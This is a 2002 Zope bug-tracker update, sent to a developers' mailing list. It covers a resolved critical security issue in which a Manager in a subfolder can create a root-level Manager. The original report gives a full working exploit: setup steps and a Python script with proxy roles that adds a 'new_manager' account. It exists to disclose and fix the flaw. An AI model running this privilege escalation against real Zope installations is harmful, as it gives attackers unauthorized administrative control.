[ZCM] [ZC] 254/ 3 Resolve "Manager in lower folder can create manager in higher folder"
   
    Collector: Zope Bugs and Patches ...
     
    zope-coders@zope.org
       
    Fri, 01 Mar 2002 13:08:30 -0500
    
    
  
Issue #254 Update (Resolve) "Manager in lower folder can create manager in higher folder"
 ** Security Related ** (Public)
 Status Resolved, Zope/bug critical
To followup, visit:
  http://collector.zope.org/Zope/254
==============================================================
= Resolve - Entry #3 by matt on Mar 1, 2002 1:08 pm
 Status: Accepted => Resolved
Fixed in Zope 2.4.4, Zope 2.5.1, and CVS trunk; the user object being returned by getUserById was not wrapped in the surrounding context, preventing ZopeSecurityPolicy_validate from being able to filter out roles the owner did not possess.
________________________________________
= Assign_confidential - Entry #2 by matt on Mar 1, 2002 10:26 am
 Status: Pending => Accepted
 Supporters added: matt
________________________________________
= Request - Entry #1 by stevea on Feb 28, 2002 6:06 am
This was reported by ivo@amaze.nl, and is a very current concern on his FreeZope service. One of the users of that service reported this exploit.
I have personally verified that this works on a fresh Zope 2.5.0 compiled from source on Linux.
Basically, a user defined in 
  /subfolder/acl_users/trusted_user
with manager role, can use a restricted python script with proxy roles to create a new user with manager role in the root acl_users folder.
Here's how to do it.
Stage 1: set up the environment.
1: take a fresh Zope 2.5.0
2: log in as the default admin user
3: create a folder in the root folder, called "subfolder". Check the box to create a user-folder in subfolder.
4: Create a user "trusted_user" in /subfolder/acl_users, with the role of Manager.
5: Log out as admin
Stage 2: trusted_user creates a manager in the root acl_users
1: log into /subfolder/manage as trusted_user
2: create a Script (Python)
3: edit it as following:
 request = container.REQUEST
 userfolder = getattr(request.PARENTS[-1], 'acl_users')
 user_info = { 'name': 'new_manager',
               'password': 'secret',
               'confirm': 'secret',
               'roles': ['Manager','Owner'],
               'domains': []
              }
 userfolder.manage_users(submit='Add', REQUEST=user_info)
 return "hacked"
4: Go to the proxy tab, and give it the Manager proxy role.
5: test the script. It will return the string "hacked"
6: log out as trusted_user
Stage 3: abusing the new power
1: go to the url /manage. Log in as new_manager:secret
2: do bad stuff
==============================================================